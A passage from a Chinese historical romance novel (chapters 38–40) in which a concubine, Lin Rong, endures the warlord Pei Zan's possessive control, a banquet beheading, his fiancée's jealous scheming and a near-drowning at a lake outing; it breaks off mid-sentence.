“林蓉,你乖一点,下次莫要再说那些浑话。若你害怕背不出诗,于人前丢脸,我可以教你习字读书。” 裴瓒自认餍足之后,还算是个好说话的夫主。 可林蓉已经失了兴致,她闭口不答,想到了一些从前的事。 她不是没见过这种高门大院里的宴席。 她在裴府为奴为婢的时候,亦知那些贵女们欢聚一堂,以文会友,以诗邀客……到处都是花团锦簇的才子佳人,山中别院一蓬蓬桃花梨花,看得人目不暇接。 当时的林蓉在做什么呢?哦,她跟在绿珠姐姐身后端茶倒水,想着贵女们吃不完的糕点,会不会多分几块,赏赐给下人。 看啊,并不是林蓉涂抹了妆粉,穿了漂亮的衣裙,她就摇身一变,成了高门贵女其中之一。 她至今仍是那个想着夜里吃什么能填饱肚子,往后出逃做什么营生才能维持生活的庶族女孩。 不是裴瓒强行将她扮成贵女,林蓉就不会露怯,不会露馅的。 她是一个赝品,她变不成真正的贵人,她不喜那种端着架子的生活。 裴瓒高高在上,天人一般,他的生活本就与林蓉格格不入,是一场机缘巧合的云雨,才将他们捆绑在一起。 在这一刻,林蓉无比后悔那一夜的相遇。 若她没有给裴瓒送茶,若她没有那么知恩图报……她是否不会陷在这里,永世不得逃脱。 …… 林蓉累了,她难得使了小性子,双手推着裴瓒遒劲结实的胸膛,哑声说:“我想去洗一洗……还请大少爷帮我备一碗避子汤。” 林蓉这般不识趣,倒让裴瓒熄了的心火,再度沸腾。 但他到底没有拦着林蓉。 任她软着腿,勉力抽离,继而踉踉跄跄下地,走向净室。 看着那蜿蜒一地的湿濡,裴瓒墨眸深切,良久无言。 三日后,裴瓒在庐州设宴,款待那些被他招降安抚的兵将。 许多地方武将兵微将寡,被裴家兵马打得节节败退,为保生存,才领兵投诚裴瓒。 可他们没在裴瓒手下操练过,心中对于这个不到而立之年就掌兵数万的南地霸主心存不服,以为裴瓒年轻,很好拿捏。 即便他们入了裴瓒的兵营,心里亦存着一股桀骜气性,不愿归降,偶尔还会闹出一些无伤大雅的事端,令郑至明颇为头疼。 今日设宴,裴瓒除却拉拢人心,亦有杀鸡儆猴,挫一挫兵痞老将的锐气之意。 只是林蓉没想到,这样款待军将的大宴,裴瓒竟也想要带她出席。 让一个肤白貌美的侍妾出席酒宴,于外人面前抛头露面,这是何等的轻视与戏弄! 林蓉心知肚明,今天换成吴念珍,裴瓒定不会生出此念,妻子代表男人的颜面,他才不愿让正妻作陪酒宴,任那些外男打量。 林蓉也隐隐明白,那一夜的云雨,她还是触怒了裴瓒,令他心生不快,才会想出这等折腾人的馊主意。 但人在屋檐下不得不低头,林蓉没有挣扎,更没有讨饶。 她逆来顺受,任由丫鬟婆子将她打扮得花枝招展,也好在席上给裴大都督挣一挣脸面。 席间人声鼎沸,众将士推杯换盏,觥筹交错。 因是招待外将的宴席,裴瓒没有那般迂腐,他允许部曲们寻来舞姬助兴。 没一会儿,笙箫骤停,帐帘撩起,一名桃夭柳媚的女子款步踱来。 女子虽没有穿露臀露腰的银链纱裙,可她身姿曼妙,眉眼婉丽,竟也是撩人心弦的倾城姝色。 在场的军将纷纷看直了眼,连手里的舞姬都不搂了,直勾勾盯着入帐的女子,目露垂涎与贪婪。 唯有郑至明瞥了一眼,见来人是林蓉,大惊失色,慌忙低下头。 郑至明虽不懂裴瓒为何要让宠妾陪席,但他轻瞟一眼,也能感受到大都督周身气息冷冽如冰,分明是不悦至极。 偏偏这时,还有眼力不好的胡将军大笑出声,同裴瓒讨人。 “裴都督,此女貌美,末将心悦之至,您可否将这个美人赠予末将?” 胡将军是肇州主将,虽被裴瓒招安,却心存愤慨,屡次挑唆麾下兵卒与裴家兵马斗殴闹事,军中早已怨声载道。只眼下正是募兵用人之际,郑至明惜才,不忍苛责,这才屡次请示裴瓒,以各式各样的赏赐将其安抚。 可胡明哲今日这般不开眼,竟想和裴瓒讨要林蓉,怕不是疯了?! 然而,裴瓒今日也不知吃错了什么药,面对下臣的挑衅,竟还能扬唇轻笑,道一句:“不过是个丫鬟,喜欢便讨去。” 此言一出,莫说郑至明,就连林蓉也杏眸震颤,她下意识看了一眼上位的裴瓒。 男人一袭黑衫,倚坐案前,神情淡然。 裴瓒不肯解围,林蓉只能胆怯地望向那位胡将军。 此人面容粗犷,行径放浪,明明左拥右抱,却还一脸垂涎,想要拥林蓉入怀。 林蓉不知如何是好,一时间僵在原地。 许是看到女孩面色苍白,不知所措。 裴瓒又单手支颌,凤眸寒漠,唤道:“林蓉,过来。” 林蓉咬了下唇,低下头,朝着裴瓒快步走去。 没等她靠近,裴瓒已然伸手,悍烈地捉了她的细腕,用力拽进怀中。 林蓉跌到他的膝上,听他垂眸问道:“愿不愿意跟着胡将军?” 林蓉仰颈,凝望裴瓒那双长眉冷目,久久无言。 她明白裴瓒此言何意,他是想将她作为随意发卖的物件,自己用完,便赏给旁人……他不会珍她怜她,今日如此行事,也是为了给她吃一个教训。 林蓉莫名鼻尖发酸,她哽着喉头,哆嗦着道:“我是大少爷的侍妾……但凭大少爷安排。” 她没有求他,她任他作践。 她竟觉得,跟胡明哲,或是跟着裴瓒,并无区别! 裴瓒的凤眸瞬间冷却,他压抑那些腾升的火气,捏紧了林蓉的手腕,凉声夸赞:“你倒是个看得开的。” 裴瓒猛然松开林蓉,又将一壶酒重重掷在她面前,“倒酒。” 林蓉连忙抹去眼泪,手脚麻利地斟酒。 一场宴席吃得沉闷,气氛凝肃。 傻子都知,宴席有点不对劲。 自此,直至夜宴结束,胡将军也没再开口讨过林蓉。 而林蓉倒了几杯酒,脑袋回魂,她也知道跟了胡明哲实非良策。 因此裴瓒没提,她自不敢硬气去求。 宴散之际,裴瓒命人送林蓉回府,又将胡明哲留在军帐,欲与他促膝长谈。 只是,帐中忽然银光一闪,一抹浓血泼至毡布。 待郑至明听从裴瓒传召,快步入帐时,竟看到了如此骇人的一幕! 只见裴瓒手持寒光长剑,杀气腾腾地站在案前。 他的神色寒彻,下颌沾血,如炼狱修罗,一头浓黑如墨的长发迎风轻扬,广袖玄袍湿泞泞地滴水,淅淅沥沥流淌地衣,砸出一朵朵腥气极重的红梅…… 而郑至明的靴边,骨碌碌滚来一颗人头……竟是那个席间讨要过林蓉的胡明哲将军! 郑至明看着尸首异处的军将,瞳仁震颤,久久无言。 “裴、裴都督……您怎么将他杀了。” 裴瓒拧腕一抖,挥去剑上血迹,不以为意地道:“胡明哲屡生歹念,挑唆兵卒,于营帐滋事斗殴……今夜他敢存觊觎之心,目无尊上,难保日后临危不叛,给诸君带来灾殃。如此佞将,何必容他苟活。” 郑至明心知,确实是裴瓒说的这个道理。 与其步步容忍,赐钱赏人,令裴家兵马眼红这些招降叛将的待遇,对他们心生不满。 倒不如使一回雷霆手段,多杀几个人,以此杀鸡儆猴,保不准还能更有效地稳定军心。 只是…… 郑至明闹不清楚,裴瓒是早有杀将之心,还是今日被胡明哲“争夺林蓉一事”挑衅,这才公报私仇,将人斩杀剑下。 第38章 那夜之后, 裴瓒不知是公务繁忙,还是旁的缘故,接连几日都没来过小院。 伺候林蓉的仆妇们见姨娘失宠, 心中忐忑不安,不知二位主儿闹了什么嫌隙。 特别是眼下裴瓒与吴念珍的婚期已定, 就在十月初冬的时候, 府上不但腾出了正院子, 还请了手巧的匠人, 用名贵的香木头打了一套橱柜家具。 冯叔按主子吩咐,给吴家过大礼。送礼金、礼饼三牲、山珍海味的时候,冯叔还特意避开了林蓉, 生怕林蓉心里有个不痛快。 就连给府上婆子丫鬟们发钱,冯叔都是喊人来前院来悄悄地打赏, 不敢碍着林蓉的眼。 但林蓉又不蠢笨, 她见多了下人领赏的欢喜模样, 一看那些仆妇们出院子拎菜, 回来就喜笑颜开, 嘴角笑弧难压, 猜也知他们讨了好些喜钱。 林蓉想到自己私藏的钱袋里统共就五两二钱银子, 不免叹息一声,若她只是一个杂役就好了, 保不准也能得几两银子的赏赐。 林蓉出不得门,成日窝在小院, 望着四四方方的天井飘来的浮云出神。 许是冯叔知道林蓉实在是闷,他特意和裴瓒请示了一下,能否给郑家递帖子,唤郑慧音来探望一下林蓉。 得了应允后, 隔天郑慧音就登门拜访。 瞧见林蓉的第一眼,郑慧音吓了一跳:“蓉儿,你怎么瘦了这么多?!” 原本林蓉吃好喝好,养得珠圆玉润,加之身姿玲珑,前凸后翘,十足诱人。 如今下巴尖出来,衬得那双黑葡萄似的眼睛愈发大,虽还是桃夭柳媚的美人儿,却无端端添了几分愁郁。 郑慧音心中猜测,难不成是裴瓒和吴念珍的婚期将近,林蓉心里不快,这才憔悴许多? 林蓉听到郑慧音的话,随意想了个借口含糊过去:“都六月初夏了,天热,吃得少了,自然就瘦了。” 郑慧音不想提起林蓉的伤心事,没打破砂锅问到底,只含糊应了一声:“蓉儿,不如我和冯叔说一句,带你出门散散心?” 若是以往,林蓉定会很高兴出门。 但她经过上次一场军宴,早已明白,再如何出门闲逛,她终是要回到这一座冷清寂静的小院,既如此,何必再多添希望。 林蓉笑着摇头:“不了,在院子里坐坐挺好……郑姐姐,我能不能麻烦你一件事?” 自打上次送绣品寄卖一事被裴瓒发现以后,林蓉就断了私下敛财的念想,如今即便找郑慧音帮忙,也不敢要求太过分的事,免得阿姐受她牵连。 郑慧音并不怕帮林蓉的忙,她的兄长是裴瓒麾下大将,她的身后有倚仗,不怕裴瓒的打杀。 郑慧音道:“我说了把你当妹妹,自然愿意帮你。” 林蓉甜甜一笑:“阿姐,你把芝麻带走吧。若它愿意离开,就将它放了,若不愿意,就送到乡下去,莫让它留在这里。” 郑慧音知道芝麻是林蓉驯的第一匹马,对林蓉来说,意义不同,怎么会突然要她带走它? “我也没什么出门骑马的机会,芝麻跟着我,成日关在马厩里,实在太闷了,权当帮我一个忙,阿姐带它走吧。” 林蓉百般恳求,郑慧音没有再推诿,痛快地应了她。 下午的时候,林蓉帮芝麻洗了最后一次澡。 林蓉浑身都被水溅得湿泞泞的,擦干马鬃后,她又把自己绣的一条红绸穗子挂上马鞍,拍了拍芝麻的脑袋,哄它:“好好跟着阿姐走吧,你留在这里,我只会更难受。” 也不知芝麻是不是听懂了,至少郑慧音牵它离开的时候,芝麻没有奋力反抗。 看到一人一马走出了一重重垂花门,林蓉脸上终于浮现一点真切的笑意。 两天后,吴家递来山中夏苗的田猎请柬。 林蓉不擅骑射,本想推拒,但冯叔说了,好歹是吴念珍专程差人送来的帖子,不去的话,吴三小姐面子上不好看。 人在屋檐下不得不低头,林蓉没再推拒,她如同一尊提线木偶一般,由着婆子们取来新裁的夏衫胡服,将她打扮成干净利落的异域小姑娘。 因是初夏,天气热了些,林蓉没穿夹袄,只穿了一身单层的窄袖翻领西番莲纹胡服,足上再蹬一双羊羔皮的绵软小靴子。 许是看林蓉这一身衣裳明艳动人,梳妆丫鬟别出心裁,又再将她的头发都缠绕上柿红丝带,编出几条灵动小辫子,额前还挂上一条红玛瑙垂珠银链。 走路时,林蓉的乌发高高扬起,银铃叮咚作响,颇有外域藩国小公主的媚态。 林蓉就着院子里意喻“风生水起”的鱼缸看了一眼,心下嘀咕:打扮得太好看也不行,万一让裴瓒看到,以为她受了冷落,故意邀宠,那就难堪了。 林蓉试探地问:“要不把发饰拆了吧?” 丫鬟们满意自己的手艺,连连摇头:“姨娘这般好看呢!” “是啊、是啊,多好看!” “姨娘要艳压群芳才是,不然被裴都督忘了,往后日子就难了……” 她们是跟着林蓉的丫鬟,当然盼着林蓉安好。 没等林蓉上手,冯叔已在院外禀报:“林姑娘,快些,咱们爷在院外等着呢!” 林蓉还是有些怕裴瓒,她没敢耽搁,只能如此打扮,快步走出了院门。 此次山中猎宴,赴宴的宾客除却庐州地方的公子小姐,还有一些官吏军将。 对于知慕少艾的少年人来说,无非是一场游玩的狩宴,可对于裴瓒来说,更有在地方官以及六州军将面前展现军事力量、练兵训军、巡视领地的意思。 如此才好震慑那些佞将叛臣,警告他们即便存有异心,也切莫轻举妄动,免得项上人头不保。 林蓉远远看到那一辆被披坚执锐的兵丁护在其中的马车,她咬了下后槽牙,还是踏着脚凳,攀上了车。 车帘撩开,车厢里透出一丝明亮。 身穿黑色窄袖骑服的清隽男子,倚在车窗边上,缄默无言。 林蓉第一次见裴瓒穿这种勾勒出男人强健峭拔肩背的窄袖劲装,一时间有些错愕。 很快,她垂下眼去,坐到了马车的最角落。 马车很快启程,金灿灿的日光洒进车厢,随着薄纱帘子变幻颤动,光影落到裴瓒那张冷脸上,随着路途颠簸,明灭不定。 裴瓒不说话,林蓉也不会没有眼力见儿非要攀谈。 她权当哑巴,手指勾着衣带,来回打转,翻了好几圈花绳。 气氛空前凝肃,林蓉不敢招惹裴瓒,一路上如坐针毡,连屁股都没挪动一下。 两三个时辰后,马车抵达山脚。 裴瓒率先下车,战马墨羽接踵而至。 等到林蓉踏下脚凳时,男人墨瞳寒漠,瞥她一眼,问:“你的杂毛马呢?” 林蓉呆了一会儿,想到裴瓒问的是芝麻。 林蓉含糊其辞:“送郑姐姐了……我没空骑它,留在府中无用。” 裴瓒没问太多,他单臂揽来缰绳,踏蹬上马,一套动作行云流水,雄姿英发。 “林蓉,上来。” 林蓉听得一声寒冽的低唤,错愕抬头。 裴瓒逆光骑马,居高临下,竟朝她递来了手。 林蓉呆若木鸡。 猎宴人多眼杂,还会撞上吴念珍。林蓉没裴瓒那般的厚脸皮,她不想和他同骑一匹马,顾左右而言他:“不劳大都督费心……我会骑马,可以找马奴讨要一匹性情温顺的母马。” “林蓉,别让我说第二遍。”裴瓒目露阴鸷,语气不善。 林蓉吃到了军帐里的教训,知道忤逆裴瓒没什么好果子吃。 她不再推拒,把手放到了男人泛凉的掌心,任他骤然收力,狠狠拽她入怀。 林蓉在马背上坐定。 霎时间,一条肌理虬结的硬朗手臂,圈上林蓉的细腰。独属于裴瓒的磅礴热意,随着男人宽厚的胸膛涌来,侵略感如此强盛,令林蓉感到局促不安。 她小心躬身,试图离裴瓒远一些。却不想,下一刻墨羽撒开四蹄,扬鬃狂奔,林蓉一时不防,又狼狈地跌回裴瓒的怀中。 眼前的花草树木如同一页页幻影,被裴瓒甩至身后。狂风凛冽如刀,刮得林蓉杏眸发酸,几乎睁不开眼睛。 林蓉一颗心脏狂跳,忽上忽下,她无处受力,只能无措地抓住裴瓒持缰的结实臂骨……林蓉从来不知有人骑马还能这样野,难怪那日奔逃,裴瓒远她十多里地,竟能这般快就追上来。 待墨羽攀上早已安营扎寨的山顶,裴瓒策马驰骋的速度终于降了下来。 林蓉受此惊吓,她的呼吸不畅,气喘吁吁,累得连话都说不出来。 没等林蓉客套地说上几句夸赞裴瓒的话,远处草坪忽然跑来了一匹毛发雪白的骏马。 “裴都督!”竟是吴念珍的马。 吴念珍追马而至,欢喜地打了一声招呼。 今天的吴念珍也做了一身干练的骑服打扮,她头戴珠链,手持马鞭,身穿绯红骑服,看上去张扬明艳,十分活泼。 吴念珍语笑嫣然,像是完全不介意未婚夫搂着其他女子骑马,她仰头,大度地同林蓉打了招呼:“林妹妹,好久不见。” 林蓉尴尬颔首:“见过三小姐。” 林蓉屁股长刺,哪哪儿都不舒服。她真觉得自己就像一根打鸳鸯的大棒子,恨不得遁地逃离。 偏林蓉蹬腿一动,裴瓒的长指便死死掐住了她的细腰,将她摁回怀中。 林蓉:“……” 林蓉无计可施,只能僵硬地坐回马背。 幸好吴念珍面上并无异样,她不过是一脸仰慕地望向裴瓒,娇怯地问:“裴都督,你马术上佳,不知能否拔冗指点一下我?” 吴念珍是裴瓒的正妻,既她要人教授马术,裴瓒自当应允。 裴瓒没有在人前拒绝吴念珍,他利落下马,将缰绳塞到林蓉手中。 “我去指点一番吴小姐骑术,你可以策马游湖……墨羽通人言,不会将你抛下马背,不必太过畏惧。” 林蓉老实点头,巴不得快步离开。 墨羽踢踏四蹄,驮着林蓉走远。 离开的时候,林蓉莫名回头,看了一眼。 广袤的山林间,裴瓒与吴念珍郎才女貌,相对而立。 单论容貌,这两人也是极其登对的一双佳偶。 待林蓉跑远了,裴瓒收回视线,走向吴念珍,冷声问她:“何处不会?” 吴念珍看着高大雄劲的男人渐行渐近,耳廓发烫,好半晌才反应过来——裴瓒在问她,于马术上有哪处不足? 吴念珍是骑马老手,她无非是想要裴瓒陪伴,这才胡诌骑术不精。 吴念珍囫囵编造了一个问题:“不知怎么,每次我一下马,珍珠总会受惊……” 珍珠是这匹白毛马的名字。 裴瓒抚过手中马鞭:“上马看看。” 吴念珍老实爬上马背。 从裴瓒身侧走过的霎那,吴念珍嗅到了一股极清雅古韵的檀香。几乎是瞬间,吴念珍猛然记起,之前林蓉赴宴,她的袖间也有同一味浅淡的衣香。 能与裴瓒用相同的熏香,要么就是受宠,能负责裴瓒的贴身衣物;要么就是关系亲昵,成日同床共枕。 吴念珍不知为何,心脏微微泛酸,生出一丝难言的妒意。 吴念珍莫名其妙看了一眼远处的林蓉,她忽然福至心灵,在依言演示下马动作的时候,吴念珍踏错了马镫,故意跌向裴瓒。 吴念珍尖叫一声:“裴都督,救我!” 然而,裴瓒闻言,并未揽臂相救,反倒阔步避开,仅伸来一根马鞭,抵住了吴念珍的后脊。 吴念珍悬在半空,微微一怔。 她有意让裴瓒怜香惜玉,能在她落马的时候,搂她的纤腰,拥她入怀…… 却不曾想,裴瓒这般不知情识趣,竟用那一根马鞭,将她稳稳推回了马背。 吴念珍唇瓣翕动,欲语还休。 没等吴念珍我见犹怜地诉苦,裴瓒已扫来冷冽眼风,意味深长地看她一眼。 片刻后,吴念珍听到裴瓒开口,说出一句令她毛骨悚然的话。 “吴三小姐,念你初犯,我给你留些颜面……这等小家子气的手段,日后切莫往我这处使。” 第39章 吴念珍不蠢, 裴瓒三番两次拒绝于她,只和林蓉亲近,她又何尝不懂, 裴瓒分明是要为林蓉“守身”! 自此,吴念珍也明白了, 她要嫁的裴府, 富贵权势一个不缺, 可她想要的夫妻举案齐眉、伉俪情深, 恐怕是得不到了。 倘若吴念珍执意嫁给裴瓒,她极有可能守上一辈子活寡……吴念珍不信一个男人把正妻娶进门,不想要嫡出子女的, 可裴瓒要是真的不按常理出牌,那她便会沦为整个庐州的笑话! 吴念珍骑着珍珠走远, 她脸色惨白, 心中惶恐不安。 她虽然不甘、震惊、愤恨, 但平心而论, 她不想舍弃裴瓒。 裴瓒是吴念珍能攀上的最好夫婿, 即便无宠, 甚至没有自己的子嗣, 她也想要嫁到裴家。 毕竟裴瓒日后有登顶之意,若他成事, 吴念珍便是一人之下万人之上的国母! 这等诱惑,她怎能抵抗? 吴念珍六神无主, 心中慌乱。 她忽然想到昨晚母亲柳氏说过的话。 “倘若这个林姨娘能为你所用也就罢了,要是不能,你定要提防她诞下庶子……一个得宠的庶子,有时比嫡子还令人忌惮。如有必要, 你切记嫁到裴府后,伺机灌她一碗绝嗣汤药。若她成日邀宠,独占裴瓒,你万万不能心慈手软,须得使些手段,将她除了去。” “念珍,你要知道,男人一贯薄情,不过是个受宠的女子,死了便死了,日后寻到新欢,定会将人抛诸脑后。你殷切小意服侍裴都督,天长地久,总侍奉枕席的机会。你要把握时机,多生子女,唯有孩子才是我们女子在后宅的立足之本!” 吴念珍谨记母亲教诲,她也有了打算。 倘若林蓉真不能为她所用,那么吴念珍为了在裴府后宅站稳脚跟,也只能心狠手辣除去林蓉这个祸患了。 吴念珍叹了一口气,心道:休怪她心狠,人活于世,又怎能不为自个儿筹谋打算。 已是傍晚,天地间洒满落日余晖。 山中湖泊倒映着垂柳,几棵野栀子树开出肥大花叶,还有白兰花落到平静无波的水面,如璀璨夺目的河灯一般,朝湍急的湖心游去。 林蓉静静看了一眼,心想:如果是那群文采斐然的公子小姐见了,定要念几句“落花有意流水无情”的酸诗。 林蓉不会附庸风雅,她看到这样的初夏,想的却是那一口凉水湃瓜的清甜。 之前林蓉在裴府做事,每逢夏日,就有表亲姑娘来府上避暑。 大夫人好客,每每都会差遣外厨备好瓜果,送到迎风亭里去给客人们品尝。 表姑娘们行事矜持,即便喜欢吃红瓤西瓜,也不敢多食,每次绿珠带林蓉去端回果盘,总有几片西瓜剩着。 主子家的意思是把瓜果倒了,但下人们有时候也有“阳奉阴违”的急智,绿珠搜罗了吃食,便拉着林蓉躲到角门边上,再喊来富贵、春花,一起分食剩下的瓜果。 林蓉从来没吃过这种用冰沙裹着的甜瓜,简直消暑解渴,美味至极。 她小口咬着,每一口都要吮净了甜汁子,才慢慢往下咽。 那时的日子虽辛苦,却很有盼头。 林蓉数着日子,攒着赎身的钱财,想着去马奴王伯口中说的飞沙漫天的荒漠、四季飘雪的北域……她是自由的,只要她摆脱了奴契,她就可以走遍大江南北。 仔细一想,其实现在的日子也不差。 林蓉有完好的果盘可以吃,瓜果更甜,也更新鲜,只她每次囫囵咬上一口,就意兴阑珊地放下了。 林蓉说不出滋味哪里不同,又觉得好像哪里都不同。 林蓉看了一眼赤条条的足踝,她总觉得脚上挂着一条无形锁链,令她疲惫,负重前行。 铁链紧紧拴住她,链子的另一端掌在裴瓒的手中。 过了小半个时辰,冯叔来找林蓉讨马:“林姑娘,今晚宴上请了船工,备舟游湖,欣赏山涧飞瀑。咱们爷邀了军将,已去船上议事了。爷托老奴给姑娘带一句话,你且跟着小姐们玩去,不必拘束,待夜里,老奴再来迎你回帐。” 冯叔办事老成,几句话就将要事交代清楚,还找了个小丫鬟给林蓉带路。 等林蓉赶到湖上楼船时,吴念珍等人已在船上静候许久。 见到了林蓉,那群围着吴念珍的小姐们轻笑一声,打趣道:“林姑娘来得太慢了,大家都在等你。船夫说还差人,不肯摇橹,我们左等右等,想着是哪一尊大罗神仙要唱压轴戏,不曾想竟是林姑娘。” 这话说得有意思,嘴上捧高了林蓉,实则却在暗示她恃宠生娇,竟连裴瓒日后正妻都不放在眼里。 白脸唱完了,自然要红脸来打圆场。 果然,吴念珍轻拍了一下手帕交的手,嗔怪道:“快吃些果子茶点堵堵嘴吧,成日里没个消停。” 说完又去拉林蓉上船,抿唇一笑:“淑华就是这样的急性子,妹妹别同她一般见识。” 林蓉垂眼,摇摇头:“无事的。” 林蓉在家宅里行事多年,她当然知道旁人敢对她不敬,背后定是有吴念珍的授意。 好似大夫人身边也总有一个奶嬷嬷,替她掌嘴,帮她出头。 自此,林蓉也了悟一些事。 原来吴念珍还是介意她和裴瓒太过亲近,她装得和善,实则心里并不喜欢林蓉。 果然,等林蓉一上船,吴念珍便不再做戏,也不曾搭理林蓉。 她们几人抱团,欣赏远处的湖光山色,还有那飞流直下、奔流入湖的白瀑。 林蓉第一次见到这般壮观的景象,险些挪不动腿。 靠近了,只觉水声震耳欲聋,耳畔嘈杂,连一点人声都不辨。 林蓉的脸上一片凉浸浸的,全是飞溅而出的水珠。 她不想衣袍被淋湿,下意识后退一步。 却不曾想,船上欣赏飞瀑的少年人众多,你推我搡,竟撞到了林蓉! 扑通。 一声闷响。 林蓉一时不察,竟被拥挤的人潮,撞进了深不见底的寒湖之中! 天色昏暗,船尾的灯火本就稀疏,又有山麓间的飞瀑掩映,竟无人发觉林蓉溺水! 林蓉的衣袍浸水,沉沉往下坠。 好在她屡次练习潜水闭气,倒不似从前那般畏水…… 然而,最恐怖的是,游船一路朝前行驶,碾过林蓉的发顶,几乎是压着她的头颅,将她往湖心摁去。 林蓉口中水泡浮出,口鼻被湖水窒住。 她的乌发散开,在水中张牙舞爪,如同墨色海藻一般漂游。 她本想自救,可犹豫一会儿,又觉得如此沉湖,似乎也不错。 林蓉浑浑噩噩,一时浮游,一时闭气……直到有人重重揽过她的纤腰,托着她往船上走。 哐当一声,林蓉被砸回船上。 她佝偻脊背,猛然咳出一大口咸腥的湖水。 没等林蓉道谢,那个扶着林蓉出水的黑色身影,已然悄无声息站起。 众人听到动静,这时才知,原来有人落水了! 船工见势不妙,赶紧摇橹,往岸边的方向划去。 吴念珍也在这时回过神,她吓得六神无主,直到一双寒戾黑沉的凤眼居高临下垂着,炳若观火,逼视着她。 竟是裴瓒! 裴瓒自水中而出,衣袍洇得发黑,勾勒出峭拔肩背,湖水沿着他棱角分明的下颌淌落,一滴一滴浸进里衣。 裴瓒似是隐忍火气,臂骨肌理紧绷,蓄势待发,朝前行来时,目如霜刀,蕴有一种直破天光的冷冽锐气。 吴念珍看着眼前浑身湿透的裴瓒,心中悚然一惊。 她不免后退一步,又看了一眼远处受冻,蜷曲成一团的林蓉,心中了然。 原是林蓉作妖! 林蓉故意在裴瓒那艘游船经过时,落水溺湖,引人来救,如此便能嫁祸吴念珍,说吴念珍有心谋害未婚夫侍妾,从而给她冠上“善妒歹毒”的名头! 真真可恨! 吴念珍看着渐行渐近的裴瓒,她瞪大一双眼眸,慌忙解释:“我不知林妹妹落水…… 咬了一下唇,吴念珍又颓丧地道歉:“没照看好林妹妹,是我的错……” 裴瓒并不愚钝,他心知吴念珍没胆子在人多眼杂的游船上杀人,可林蓉畏水,亦不会不知死活往船边靠去。 无非是一些女人间的唇枪舌战,无非是一些无关紧要的奚落与冷待。 说来说去,都算吴念珍招待不周。 裴瓒不算一个护短的人,但他极其厌恶独属于自己的东西,被旁人肆意触碰。 林蓉回过神来,她忍住喉咙里的痒意,大声解释:“大都督,不、不关吴小姐的事,是我自己落的水……” 可林蓉孱弱无依,浑身湿漉如折翅小鸟,她越辩解,旁人越觉得她是个奸猾狡诈的女子。 众人意味深长地一笑,欣赏林蓉和吴念珍的妻妾之争,任林蓉故意摆出一副楚楚可怜的柔弱模样,勾动爷们儿的心。 几人交头接耳,不免咂舌:谁家养着这么一个祸水一般的侍妾,当真是要家宅不宁咯! 不仅旁人这般误解林蓉,就连吴念珍自己也这般认为——都是千年的狐狸,谁比谁道行高呢?吴念珍的确存有弄死林蓉的心,但她会徐徐图之,绝不是现在! 偏生林蓉心窄,竟在婚前就和吴念珍打上擂台。 吴念珍气得牙痒痒,可她在裴瓒面前,却什么话都不敢说。 唯有裴瓒漠然盯着她,低声告诫:“既为正妻,我给你几分体面。只一点,夫为主,君为天,管好你的手,莫伸太长。” 说完,裴瓒不再理会吴念珍,反倒是横抱起昏沉的林蓉,朝一艘前来接人上岸的小舟踏去。 旁人虽没听清裴瓒与未婚妻说了什么,但见吴念珍心如死灰的模样,也知那定不是什么好话。 吴念珍立在船上,久久不语。 她看着裴瓒抱着侍妾离远的背影,眼中含泪,羞愤难堪。 吴念珍心知,今日受的一番奚落,足以让她在众人面前抬不起头来。 自此,她也明白,林蓉手段的高明之处。 吴念珍轻敌,竟落了下风,吃尽苦头,折损于一个小小妾室之手。 堪称是奇耻大辱! 可是,裴瓒纵是千般不好,也是一口人人垂涎的香饽饽,吴念珍不甘放弃,她亦不会罢休。 吴念珍明白了,既是林蓉要与她相争……这般媚主的妾,定不能留! 林蓉浑身发冷,她蜷在裴瓒怀中,伤鸟似的,瑟瑟发抖。 好在冯叔得了消息,在林蓉被裴瓒抱回军帐时,便已送来暖手的汤婆子、披身的狐毛大氅,帐中还备了热水,能供林蓉洗漱换衣,更有诊病的御医在外静候。 初夏时节,帐中还燃着暖暖的炭盆,林蓉被融融的暖意烘身,嗓子艰涩地开口:“大少爷,此事真的和吴小姐无关,是我自己没站稳,这才落水……” “我知道。”裴瓒褪了湿衣,露出线条流畅的背肌,男人的修长身躯浸过水,窄腰肌理覆上一层柔光,如润了一层蜜色的油脂,瞧着悍烈而骇人。 “但不论如何,她都有看顾不善之嫌。” 裴瓒换了一身干燥的衣袍,命人为林蓉诊脉煎药,又将她抱起,放进水温较高的浴桶之中。 林蓉陡然落水,惊得浓长眼睫发颤。 她扶着桶沿,抬起一双水光潋滟的杏眼。 林蓉身上的冷意悉数消散,只是那一件胡袍如同覆着糕饼的油纸,黏连四肢百骸,十分难受。 好在裴瓒不过看她一眼,便伸来几根玉指,替她解开衣上襟扣,帮林蓉小心解衣。 “抬手。” 林蓉老实巴交地伸手,任由裴瓒将她从累赘的衣裙里解脱出来,剥了个干净。 林蓉又成了赤条条的一个人,肤白胜雪,黑发披身。 看着林蓉那张呆傻的脸,裴瓒不知为何,竟生出了几分恶念。 他忽然捏住她雪白柔嫩的下颌,指肚暧昧流连,来回摩挲。 林蓉被他抚得战栗,下意识想躲,可裴瓒掐人的手追来,像是惩罚她的闪避,用力骤重,迫她仰头。 林蓉浸在水中,无措地吞咽唾液,她想求饶,可又不知自己错在哪里。 直到那一串冰凉如玉的佛珠磕在林蓉的喉骨,念珠圆润,质地坚硬,碾着皮肉上下滑动,挟带一阵阵撩人心弦的痒意。 没等林蓉开口,她听到裴瓒温声,低喃一句。 “林蓉,为我生个孩子。有子女相护,便是正妻入府,亦不能动你分毫。” 此为裴瓒的让步,也是他的恩典。 裴瓒怎么不知,若是林蓉怀子,无论男女,都是府上庶长。 此举恶劣,几近坏了阖府规矩……他也从未想过,有朝一日,他会有这般不智行径,竟为一名婢妾破例至此。 可林蓉双目僵直,没承裴瓒的情。 她惊诧地望向眼前这个仙姿玉质的男人,不知该作何反应。 林蓉应该欢喜,应该感恩戴德,但她的脑袋嗡鸣,心中没有半分愉悦。 在这一刻,林蓉只觉遍体生寒,心中想的竟是——裴瓒,疯了?! 第40章 林蓉从前想过的最悠闲的生活, 便是她赎身出府,在外定居。 林蓉从小勤劳,不怕吃苦, 她也很喜欢下地犁田务农。 林蓉很享受播种时,等待丰收的喜悦, 她期盼那些豆啊瓜啊菜啊, 都能长得又大又好。 豆叶做羹汤。 青豆白水煮开, 剥着蘸大酱吃。 养得老一点就是黄豆, 用石磨碾出浆液,舀卤水点豆腐,可以拿去镇子里贩卖, 也可以留着自己吃。 豆渣还能喂鸡,或是掺面烙成饼…… 林蓉在农事上几乎全知全能, 她有法子让自己过得很好很好。 即使她这辈子都不嫁人, 即使她独身到老。 但林蓉知道, 她设想过无数种生活, 却绝不是眼前老死在达官贵人后宅里的这一种。 她不愿和旁人争夺夫婿, 不喜被孩子困在后院, 她害怕连出个门都要和丈夫请示, 